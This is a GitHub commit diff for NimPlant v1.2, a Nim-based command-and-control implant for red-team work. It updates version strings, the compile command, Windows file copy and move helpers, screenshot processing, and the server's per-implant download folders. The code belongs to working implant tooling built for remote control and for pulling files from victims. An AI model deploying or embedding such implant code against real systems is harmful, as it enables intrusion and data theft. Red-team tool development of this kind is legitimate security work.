Skip to content

Commit

Permalink
NimPlant v1.2
Browse files Browse the repository at this point in the history
  • Loading branch information
chvancooten authored Apr 4, 2023
2 parents abb754e + fc6bc9c commit e4e9969
Show file tree
Hide file tree
Showing 36 changed files with 134 additions and 78 deletions.
29 changes: 21 additions & 8 deletions NimPlant.py
Original file line number Diff line number Diff line change
Expand Up @@ -137,9 +137,7 @@ def compile_nim(binary_type, xor_key, debug=False):

# Construct compilation command
if binary_type == "exe" or binary_type == "exe-selfdelete" or binary_type == "dll":
compile_command = (
f"nim c --hints:off --warnings:off -d:xor_key={xor_key} -d:release -d:strip"
)
compile_command = f"nim c --hints:off --warnings:off -d:xor_key={xor_key} -d:release -d:strip -d:noRes"

if debug:
compile_command = compile_command + " -d:verbose"
Expand Down Expand Up @@ -251,12 +249,27 @@ def compile_nim(binary_type, xor_key, debug=False):
if input().lower() == "y":
print("Cleaning up...")

os.remove("server/nimplant.db")
rmtree("server/downloads")
rmtree("server/logs")
rmtree("server/uploads")
try:
# Clean up files
for filepath in ["server/nimplant.db"]:
if os.path.exists(filepath) and os.path.isfile(filepath):
os.remove(filepath)

# Clean up directories
for dirpath in [
"server/downloads",
"server/logs",
"server/uploads",
]:
if os.path.exists(dirpath) and os.path.isdir(dirpath):
rmtree(dirpath)

print("Cleaned up NimPlant server files!")
except OSError:
print(
"ERROR: Could not clean up all NimPlant server files. Do you have the right privileges?"
)

print("Cleaned up NimPlant server files!")
else:
print("Aborting...")

Expand Down
2 changes: 1 addition & 1 deletion client/NimPlant.nim
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ when defined risky:
# Parse the configuration at compile-time
let CONFIG : Table[string, string] = parseConfig()

const version: string = "NimPlant v1.1"
const version: string = "NimPlant v1.2"
proc runNp() : void =
echo version

Expand Down
2 changes: 1 addition & 1 deletion client/NimPlant.nimble
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Package information
# NimPlant isn't really a package, Nimble is mainly used for easy dependency management
version = "1.1"
version = "1.2"
author = "Cas van Cooten"
description = "A Nim-based, first-stage C2 implant"
license = "MIT"
Expand Down
1 change: 0 additions & 1 deletion client/commands/cd.nim
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,5 @@ proc cd*(args : varargs[string]) : string =
if newDir == "":
result = obf("Invalid number of arguments received. Usage: 'cd [directory]'.")
else:
newDir.normalizePath()
setCurrentDir(newDir)
result = obf("Changed working directory to '") & newDir & obf("'.")
8 changes: 5 additions & 3 deletions client/commands/cp.nim
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
from os import copyDir, copyFile, copyFileToDir, dirExists, splitPath, `/`
from ../util/winUtils import copyDir
from os import dirExists, splitPath, `/`
from strutils import join
from winim/lean import CopyFileA, LPCSTR, FALSE, winstrConverterStringToPtrChar

# Copy files or directories
proc cp*(args : varargs[string]) : string =
Expand All @@ -23,8 +25,8 @@ proc cp*(args : varargs[string]) : string =

# Copying a file
elif dirExists(destination):
copyFileToDir(source, destination)
CopyFileA(source, destination/splitPath(source).tail, FALSE)
else:
copyFile(source, destination)
CopyFileA(source, destination, FALSE)

result = obf("Copied '") & source & obf("' to '") & destination & obf("'.")
3 changes: 2 additions & 1 deletion client/commands/mv.nim
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
from os import dirExists, moveFile, moveDir, splitPath, `/`
from os import dirExists, moveFile, splitPath, `/`
from ../util/winUtils import moveDir
from strutils import join

# Move a file or directory
Expand Down
22 changes: 20 additions & 2 deletions client/util/winUtils.nim
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
from nativesockets import getHostName, gethostbyname
from os import getCurrentProcessId, splitPath, getAppFilename
import winlean
from os import getCurrentProcessId, splitPath, getAppFilename, createDir, walkDir, splitPath, pcDir, `/`, removeDir
from winim/lean import CopyFileA, FALSE, ULONG, winstrConverterStringToPtrChar
import ../commands/whoami
import strenc

Expand Down Expand Up @@ -37,6 +37,24 @@ proc getWindowsVersion*() : string =
var vInfo = obf("Windows ") & $versionInfo.dwMajorVersion & obf(" build ") & $versionInfo.dwBuildNumber
result = vInfo

# Define copyDir and moveDir functions to override os stdlib
# This fixes a bug where any function with using copyFile does not work with Win11 DLLs
# See: https://github.com/nim-lang/Nim/issues/21504
proc copyDir*(source, dest: string) =
createDir(dest)
for kind, path in walkDir(source):
var
noSource = splitPath(path).tail
dPath = dest / noSource
if kind == pcDir:
copyDir(path, dPath)
else:
CopyFileA(path, dPath, FALSE)

proc moveDir*(source, dest: string) =
copydir(source, dest)
removeDir(source)

# Get the username
proc getUsername*() : string =
result = whoami()
Expand Down
35 changes: 20 additions & 15 deletions server/api/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,28 +38,33 @@ def get_downloads():
try:
downloadsPath = os.path.abspath(f"server/downloads/server-{np_server.guid}")
res = []
with os.scandir(downloadsPath) as downloads:
for download in downloads:
if download.is_dir():
continue

res.append(
{
"name": download.name,
"size": download.stat().st_size,
"lastmodified": download.stat().st_mtime,
}
)
items = os.scandir(downloadsPath)
for item in items:
if item.is_dir() and item.name.startswith("nimplant-"):
downloads = os.scandir(item.path)
for download in downloads:
if download.is_file():
res.append(
{
"name": download.name,
"nimplant": item.name.split("-")[1],
"size": download.stat().st_size,
"lastmodified": download.stat().st_mtime,
}
)

res = sorted(res, key=lambda x: x["lastmodified"], reverse=True)
return flask.jsonify(res), 200
except FileNotFoundError:
return flask.jsonify([]), 404

# Download a file from the downloads folder
@app.route("/api/downloads/<filename>", methods=["GET"])
def get_download(filename):
@app.route("/api/downloads/<nimplant_guid>/<filename>", methods=["GET"])
def get_download(nimplant_guid, filename):
try:
downloadsPath = os.path.abspath(f"server/downloads/server-{np_server.guid}")
downloadsPath = os.path.abspath(
f"server/downloads/server-{np_server.guid}/nimplant-{nimplant_guid}"
)
return flask.send_from_directory(
downloadsPath, filename, as_attachment=True
)
Expand Down
12 changes: 6 additions & 6 deletions server/requirements.txt
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
cryptography==39.0.0
cryptography==39.0.1
flask_cors==3.0.10
Flask==2.2.2
Flask==2.2.3
gevent==22.10.2
itsdangerous==2.1.2
Jinja2==3.1.2
prompt_toolkit==3.0.36; sys_platform=="win32"
PyCryptoDome==3.16.0
prompt_toolkit==3.0.38; sys_platform=="win32"
PyCryptoDome==3.17
pyyaml==6.0
requests==2.28.1
requests==2.28.2
toml==0.10.2
werkzeug==2.2.2
werkzeug==2.2.3
8 changes: 5 additions & 3 deletions server/util/func.py
Original file line number Diff line number Diff line change
Expand Up @@ -479,7 +479,9 @@ def downloadFile(np, args, raw_command):
if len(args) == 2:
filePath = args[1]
fileName = filePath.replace("/", "\\").split("\\")[-1]
localPath = f"server/downloads/server-{np_server.guid}/{fileName}"
localPath = (
f"server/downloads/server-{np_server.guid}/nimplant-{np.guid}/{fileName}"
)
elif len(args) == 3:
filePath = args[1]
localPath = args[2]
Expand All @@ -501,13 +503,13 @@ def downloadFile(np, args, raw_command):

# Handle post-processing of the 'screenshot' command
# This function is called based on the blob header b64(gzip(screenshot)), so we don't need to verify the format
def processScreenshot(sc_blob) -> str:
def processScreenshot(np, sc_blob) -> str:
from .nimplant import np_server
from gzip import decompress

sc_blob = decompress(base64.b64decode(sc_blob))

path = f"server/downloads/server-{np_server.guid}/screenshot_{timestamp(filename_safe=True)}.png"
path = f"server/downloads/server-{np_server.guid}/nimplant-{np.guid}/screenshot_{timestamp(filename_safe=True)}.png"
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, "wb") as f:
f.write(sc_blob)
Expand Down
2 changes: 1 addition & 1 deletion server/util/listener.py
Original file line number Diff line number Diff line change
Expand Up @@ -286,7 +286,7 @@ def getResult():

# Handle Base64-encoded, gzipped PNG file (screenshot)
if data.startswith("H4sIAAAA"):
data = processScreenshot(data)
data = processScreenshot(np, data)

np.setTaskResult(res["guid"], data)
return flask.jsonify(status="OK"), 200
Expand Down
2 changes: 1 addition & 1 deletion server/web/downloads.html

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion server/web/index.html

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion server/web/nimplants.html

Large diffs are not rendered by default.

4 changes: 2 additions & 2 deletions server/web/nimplants/details.html

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion server/web/server.html

Large diffs are not rendered by default.

4 changes: 2 additions & 2 deletions server/web/static/404.html

Large diffs are not rendered by default.

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

This file was deleted.

Loading

0 comments on commit e4e9969

Please sign in to comment.